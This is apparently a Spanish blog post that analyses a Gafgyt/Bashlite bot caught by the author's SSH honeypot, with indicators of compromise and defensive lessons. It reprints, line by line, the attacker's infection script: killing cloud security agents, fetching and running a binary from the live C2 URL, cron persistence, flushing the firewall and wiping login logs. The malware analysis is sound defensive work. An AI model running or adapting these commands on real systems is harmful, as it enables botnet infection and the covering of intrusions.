Un honeypot es un señuelo: una máquina que finge ser vulnerable para que la ataquen y así ver qué intentan y cómo. La mía lleva días recibiendo el tráfico de fondo de internet — decenas de miles de sondas al día, casi todas automáticas y sin gracia: "¿tienes el puerto abierto? ¿te has dejado el .env a la vista?". Miran y siguen.
Pero un cebo bien puesto no solo cuenta cuántos llaman a la puerta. De vez en cuando, uno entra — y ahí empieza lo interesante. Esto es la disección de uno de esos: desde el login hasta el binario, pasando por el guion de infección, que es una pequeña obra de artesanía sucia.
01La captura
El cebo de SSH acepta contraseñas débiles a propósito (para eso está). El atacante no era una persona tecleando: era un bot, y su secuencia fue mecánica y veloz.
- 00:00.0Conecta al puerto 22 y prueba root : ubnt — la contraseña por defecto de los equipos Ubiquiti. El cebo le abre.
- 00:01.2No saluda, no explora. Pega de golpe un script de shell de ~50 líneas y lo ejecuta.
- 00:61.0Como el wget no le funcionó en el cebo, sube el binario directamente por SFTP — con un nombre aleatorio, skhqwensw — y trata de lanzarlo (/bin/skhqwensw). Falla (el cebo no ejecuta de verdad), pero la muestra ya es mía.
Ese script pegado en el segundo 1 es el corazón de todo. Vamos línea por línea.
02El script, al desnudo
Un solo comando de shell que hace de todo: busca dónde instalarse, ciega la seguridad de la máquina, descarga su binario según la arquitectura, sabotea a la competencia y borra sus huellas. Lo he formateado para poder leerlo, pero la lógica es tal cual.
Buscar un sitio donde escribir y ejecutar
No le vale cualquier carpeta: muchas máquinas montan /tmp como noexec. Así que prueba varias y comprueba que puede ejecutar de verdad, no solo escribir.
# prueba /dev/shm, /tmp, /var/tmp, /home, /root for i in "/dev/shm" "/tmp" "/var/tmp" "/home" "/root"; do touch "$i/test_exec"; chmod +x "$i/test_exec" if [ -w "$i" ] && [ -x "$i/test_exec" ]; then wdir="$i"; rm -f "$i/test_exec"; break fi done; cd "$wdir" || exit 1
Cegar los agentes de la nube (china)
Aquí se retrata el objetivo: mata los agentes de seguridad de Alibaba Cloud (aegis/AliYunDun) y Tencent Cloud (YDService/tat_agent). Va a por servidores en la nube china y apaga su vigilancia para minar/atacar sin que salte ninguna alarma ni el aviso de consumo.
for svc in aegis aliyun YDService tat_agent; do systemctl stop $svc; systemctl disable $svc; systemctl mask $svc done chattr -R -i -a /usr/local/aegis/ # quita el flag inmutable... chattr -R -i -a /usr/local/qcloud/ # ...para poder borrarlos pkill -9 AliYunDun; pkill -9 YDService rm -rf /usr/local/aegis /usr/local/qcloud
Descargar el binario según la arquitectura
Le pasa uname -m a su propio servidor, que devuelve el binario correcto para esa CPU (x86, ARM, MIPS…). Y prueba seis métodos en cascada para no fallar — incluidos good y cool, que son sus propios wget/curl renombrados (ver stage E).
arch=$(uname -m) url="http://169.239.130.20/new.php?type=${arch}" # intenta en orden hasta que uno traiga el fichero: wget -q -T 30 "$url" -O new.txt || curl -skL -m 30 "$url" -o new.txt || good -q -T 30 "$url" -O new.txt || # = su wget renombrado cool -skL -m 30 "$url" -o new.txt || # = su curl renombrado python3 -c "import urllib.request;urllib.request.urlretrieve('$url','new.txt')" || python -c "import urllib;urllib.urlretrieve('$url','new.txt')" chmod +x new.txt setsid "./new.txt" & # setsid = sobrevive al cierre de sesión
Tres matices de esta fase de infección: setsid desprende el proceso de la sesión SSH, así que sigue vivo aunque el atacante cierre la conexión; si el fichero no arranca como binario, lo reintenta como script (sh ./new.txt); y cuando ningún método de descarga funciona —como en mi cebo, que no tiene un wget real— tiene un plan B: empujar el binario él mismo por SFTP. Ese último recurso es, irónicamente, lo que me regaló la muestra. Antes de todo esto comprueba además un "cerrojo" (/var/run/gcc.pid): si ya se está ejecutando, no se reinfecta.
Persistencia disfrazada de "gcc"
Para sobrevivir a reinicios se clava un cron cada 3 minutos y se instala como servicio de arranque. Usa el nombre gcc como tapadera — un rasgo clásico de la familia Gafgyt.
echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab # + se copia como init.d / rc.d (chkconfig, update-rc.d)
Sabotear a la competencia
El truco más listo del guion: renombra wget→good y curl→cool. A partir de ahí, cualquier otra botnet que intente wget http://… para infectar la misma caja falla — pero este bot sigue descargando con los nombres nuevos. Territorio marcado.
mv $(which wget) $(dirname $(which wget))/good mv $(which curl) $(dirname $(which curl))/cool
Bajar el puente levadizo y borrar las huellas
Primero desarma la defensa: para firewalld/ufw y hace iptables -F (vacía todas las reglas), para que nada estorbe la conversación con el C2. Después limpia su rastro de acceso.
systemctl stop firewalld ufw; iptables -F # cae el cortafuegos for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do echo > "$log" # VACÍA el fichero (no lo borra) done
Cada uno de esos tres ficheros es una libreta de accesos al sistema, y borrarlos ciega las herramientas con las que un administrador miraría "¿quién ha entrado?":
- /var/log/wtmp — los logins correctos (es lo que lee el comando last).
- /var/log/btmp — los logins fallidos (lastb).
- /var/log/lastlog — el último acceso de cada usuario.
El detalle fino: usa echo > fichero, que lo vacía, en vez de rm, que lo borraría. ¿Por qué? Borrar el fichero rompería el registro y llamaría la atención; dejarlo existente pero en blanco es más sutil. Tras esto, un last del admin no devuelve nada: como si nadie hubiera entrado nunca. Lo que no toca este script es /var/log/auth.log — un despiste suyo que dejaría rastro del SSH.
03El espécimen
El binario que subió por SFTP. Análisis estático — nunca se ejecuta; solo se lee.
Gafgyt / Bashlite
- Tipo
- ELF 32-bit i386 · estático · stripped
- Tamaño
- 114.144 bytes
- Empaquetado
- no (UPX descartado)
- Compilado con
- Alpine clang 17.0.6 / LLD 17.0.6
- Función
- bot DDoS (flood HTTP)
- C2
- cifrado (tabla XOR)
- SHA-256
- 6f45c6d9c70d97f695cb7bbef362812a17f8ed4d37dafc342c26c86ed9b43638
Dentro, entre las strings, está todo el ADN de un bot de denegación de servicio: plantillas de GET/POST HTTP para flood (con un User-Agent chino falso), su configuración de C2 escondida tras una tabla XOR, y las rutas de persistencia gcc.sh que ya vimos en el script. La huella Alpine + clang es poco común y sirve para agrupar futuras muestras del mismo autor.
04¿Quién había detrás?
Solo inteligencia pasiva — bases de datos de terceros que ya conocen esas IPs. En ningún momento se toca la máquina del atacante: eso ya sería cruzar al otro lado.
Dos servidores, los dos en hosting "offshore" tolerante al abuso (VPS baratos y desechables, no víctimas inocentes). Y un detalle que enseña mucho: el servidor C2 es invisible para los feeds de reputación por escaneo (GreyNoise "no lo ha observado") — porque un C2 no escanea, se queda quieto esperando a sus bots. Mi honeypot lo pilló con las manos en la masa; las bases de datos globales, ni se enteran. Moraleja: hacen falta varias fuentes.
05Indicadores (IOCs)
Indicadores de esta captura — listos para bloquear, buscar o reportar.
| Tipo | Valor |
|---|---|
| SHA-256 | 6f45c6d9c70d97f695cb7bbef362812a17f8ed4d37dafc342c26c86ed9b43638 |
| C2 / distribución | http://169.239.130.20/new.php |
| Credencial | root : ubnt (default Ubiquiti) |
| Persistencia | /etc/cron.hourly/gcc.sh · /var/run/gcc.pid · cron */3 |
| Renombrados | wget→good · curl→cool |
| Huella de build | Alpine clang 17.0.6 / LLD 17.0.6 |
06Lo que me llevo
- El 95% es ruido. Escaneo automático que ni comprueba si eres vulnerable. La intrusión de verdad es la minoría que supera ese filtro.
- La higiene básica gana. Todo esto entra por root:ubnt. Una contraseña decente y no exponer lo que no toca derrota a la inmensa mayoría de estos ataques.
- La captura es efímera. El cebo no guarda las muestras de forma fiable: si no la copias a un almacén durable al instante, la pierdes. (A mí casi me pasa.)
- Mira siempre con varias fuentes. Un C2 activo puede ser invisible para media internet mientras opera tan tranquilo.
Comentarios